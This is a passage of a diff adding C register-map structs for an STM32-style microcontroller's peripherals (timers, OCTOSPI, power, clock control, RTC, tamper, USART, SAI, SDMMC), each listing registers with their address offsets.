capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< OCTOSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< OCTOSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< OCTOSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< OCTOSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< OCTOSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< OCTOSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< OCTOSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< OCTOSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< OCTOSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< OCTOSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< OCTOSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< OCTOSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< OCTOSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< OCTOSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< OCTOSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< OCTOSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< OCTOSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< OCTOSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< OCTOSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< OCTOSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< OCTOSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< OCTOSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< OCTOSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< OCTOSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< OCTOSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< OCTOSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t PMCR; /*!< Power mode control register , Address offset: 0x00 */ + __IO uint32_t PMSR; /*!< Power mode status register , Address offset: 0x04 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x08-0x0C */ + __IO uint32_t VOSCR; /*!< Voltage scaling control register , Address offset: 0x10 */ + __IO uint32_t VOSSR; /*!< Voltage sacling status register , Address offset: 0x14 */ + uint32_t RESERVED2[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t BDCR; /*!< BacKup domain control register , Address offset: 0x20 */ + __IO uint32_t DBPCR; /*!< DBP control register, Address offset: 0x24 */ + __IO uint32_t BDSR; /*!< BacKup domain status register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Usb typeC and Power Delivery Register, Address offset: 0x2C */ + __IO uint32_t SCCR; /*!< Supply configuration control register, Address offset: 0x30 */ + __IO uint32_t VMCR; /*!< Voltage Monitor Control Register, Address offset: 0x34 */ + __IO uint32_t USBSCR; /*!< USB Supply Control Register Address offset: 0x38 */ + __IO uint32_t VMSR; /*!< Status Register Voltage Monitoring, Address offset: 0x3C */ + __IO uint32_t WUSCR; /*!< WakeUP status clear register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< WakeUP status Register, Address offset: 0x44 */ + __IO uint32_t WUCR; /*!< WakeUP configuration register, Address offset: 0x48 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x4C */ + __IO uint32_t IORETR; /*!< IO RETention Register, Address offset: 0x50 */ + uint32_t RESERVED4[43];/*!< Reserved, Address offset: 0x54-0xFC */ + __IO uint32_t SECCFGR; /*!< Security configuration register, Address offset: 0x100 */ + __IO uint32_t PRIVCFGR; /*!< Privilege configuration register, Address offset: 0x104 */ +}PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x04 */ + __IO uint32_t HSICFGR; /*!< RCC HSI Clock Calibration Register, Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register, Address offset: 0x14 */ + __IO uint32_t CSICFGR; /*!< RCC CSI Clock Calibration Register, Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< RCC PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< RCC PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< RCC PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< RCC PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< RCC PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< RCC PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< RCC PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< RCC PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< RCC PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< RCC Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< RCC Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< RCC Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< RCC AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR; /*!< RCC AHB2 Peripherals Reset Register Address offset: 0x64 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0x68 */ + __IO uint32_t AHB4RSTR; /*!< RCC AHB4 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1LRSTR; /*!< RCC APB1 Peripherals reset Low Word register Address offset: 0x74 */ + __IO uint32_t APB1HRSTR; /*!< RCC APB1 Peripherals reset High Word register Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< RCC APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< RCC APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED10; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< RCC AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR; /*!< RCC AHB2 Peripherals Clock Enable Register Address offset: 0x8C */ + uint32_t RESERVED11; /*!< Reserved Address offset: 0x90 */ + __IO uint32_t AHB4ENR; /*!< RCC AHB4 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED13; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1LENR; /*!< RCC APB1 Peripherals clock Enable Low Word register Address offset: 0x9C */ + __IO uint32_t APB1HENR; /*!< RCC APB1 Peripherals clock Enable High Word register Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< RCC APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< RCC APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED14; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1LPENR; /*!< RCC AHB1 Peripheral sleep clock Register Address offset: 0xB0 */ + __IO uint32_t AHB2LPENR; /*!< RCC AHB2 Peripheral sleep clock Register Address offset: 0xB4 */ + uint32_t RESERVED15; /*!< Reserved Address offset: 0xB8 */ + __IO uint32_t AHB4LPENR; /*!< RCC AHB4 Peripherals sleep clock Register Address offset: 0xBC */ + uint32_t RESERVED17; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1LLPENR; /*!< RCC APB1 Peripherals sleep clock Low Word Register Address offset: 0xC4 */ + __IO uint32_t APB1HLPENR; /*!< RCC APB1 Peripherals sleep clock High Word Register Address offset: 0xC8 */ + __IO uint32_t APB2LPENR; /*!< RCC APB2 Peripherals sleep clock Register Address offset: 0xCC */ + __IO uint32_t APB3LPENR; /*!< RCC APB3 Peripherals Clock Low Power Enable Register Address offset: 0xD0 */ + uint32_t RESERVED18; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t CCIPR1; /*!< RCC IPs Clocks Configuration Register 1 Address offset: 0xD8 */ + __IO uint32_t CCIPR2; /*!< RCC IPs Clocks Configuration Register 2 Address offset: 0xDC */ + __IO uint32_t CCIPR3; /*!< RCC IPs Clocks Configuration Register 3 Address offset: 0xE0 */ + __IO uint32_t CCIPR4; /*!< RCC IPs Clocks Configuration Register 4 Address offset: 0xE4 */ + __IO uint32_t CCIPR5; /*!< RCC IPs Clocks Configuration Register 5 Address offset: 0xE8 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< RCC VSW Backup Domain & V33 Domain Control Register Address offset: 0xF0 */ + __IO uint32_t RSR; /*!< RCC Reset status Register Address offset: 0xF4 */ + uint32_t RESERVED20[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC Secure mode configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC Privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/** + * @brief PKA + */ +typedef struct +{ + __IO uint32_t CR; /*!< PKA control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< PKA status register, Address offset: 0x04 */ + __IO uint32_t CLRFR; /*!< PKA clear flag register, Address offset: 0x08 */ + uint32_t Reserved[253]; /*!< Reserved memory area Address offset: 0x0C -> 0x03FC */ + __IO uint32_t RAM[1334]; /*!< PKA RAM Address offset: 0x400 -> 0x18D4 */ +} PKA_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + __IO uint32_t OR; /*!< RTC option register, Address offset: 0x60 */ + uint32_t RESERVED1[3];/*!< Reserved, Address offset: 0x64 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP control register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register, Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNT1R; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[3];/*!< Reserved, Address offset: 0x44 -- 0x4C */ + __IO uint32_t OR; /*!< TAMP option register, Address offset: 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42];/*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; +/** + * @brief System configuration, Boot and Security + */ +typedef struct +{ + uint32_t RESERVED1[4]; /*!< RESERVED1, Address offset: 0x00 - 0x0C */ + __IO uint32_t HDPLCR; /*!< SBS HDPL Control Register, Address offset: 0x10 */ + __IO uint32_t HDPLSR; /*!< SBS HDPL Status Register, Address offset: 0x14 */ + __IO uint32_t NEXTHDPLCR; /*!< NEXT HDPL Control Register, Address offset: 0x18 */ + __IO uint32_t RESERVED2; /*!< RESERVED2, Address offset: 0x1C */ + __IO uint32_t DBGCR; /*!< SBS Debug Control Register, Address offset: 0x20 */ + __IO uint32_t DBGLOCKR; /*!< SBS Debug Lock Register, Address offset: 0x24 */ + uint32_t RESERVED3[3]; /*!< RESERVED3, Address offset: 0x28 - 0x30 */ + __IO uint32_t RSSCMDR; /*!< SBS RSS Command Register, Address offset: 0x34 */ + uint32_t RESERVED4[26]; /*!< RESERVED4, Address offset: 0x38 - 0x9C */ + __IO uint32_t EPOCHSELCR; /*!< EPOCH Selection Register, Address offset: 0xA0 */ + uint32_t RESERVED5[7]; /*!< RESERVED5, Address offset: 0xA4 - 0xBC */ + __IO uint32_t SECCFGR; /*!< SBS Security Mode Configuration, Address offset: 0xC0 */ + uint32_t RESERVED6[15]; /*!< RESERVED6, Address offset: 0xC4 - 0xFC */ + __IO uint32_t PMCR; /*!< SBS Product Mode & Config Register, Address offset: 0x100 */ + __IO uint32_t FPUIMR; /*!< SBS FPU Interrupt Mask Register, Address offset: 0x104 */ + __IO uint32_t MESR; /*!< SBS Memory Erase Status Register, Address offset: 0x108 */ + uint32_t RESERVED7; /*!< RESERVED7, Address offset: 0x10C */ + __IO uint32_t CCCSR; /*!< SBS Compensation Cell Control & Status Register, Address offset: 0x110 */ + __IO uint32_t CCVALR; /*!< SBS Compensation Cell Value Register, Address offset: 0x114 */ + __IO uint32_t CCSWCR; /*!< SBS Compensation Cell for I/Os sw code Register, Address offset: 0x118 */ + __IO uint32_t RESERVED8; /*!< RESERVED8, Address offset: 0x11C */ + __IO uint32_t CFGR2; /*!< SBS Class B Register, Address offset: 0x120 */ + uint32_t RESERVED9[8]; /*!< RESERVED9, Address offset: 0x124 - 0x140 */ + __IO uint32_t CNSLCKR; /*!< SBS CPU Non-secure Lock Register, Address offset: 0x144 */ + __IO uint32_t CSLCKR; /*!< SBS CPU Secure Lock Register, Address offset: 0x148 */ + __IO uint32_t ECCNMIR; /*!< SBS FLITF ECC NMI MASK Register, Address offset: 0x14C */ +} SBS_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + 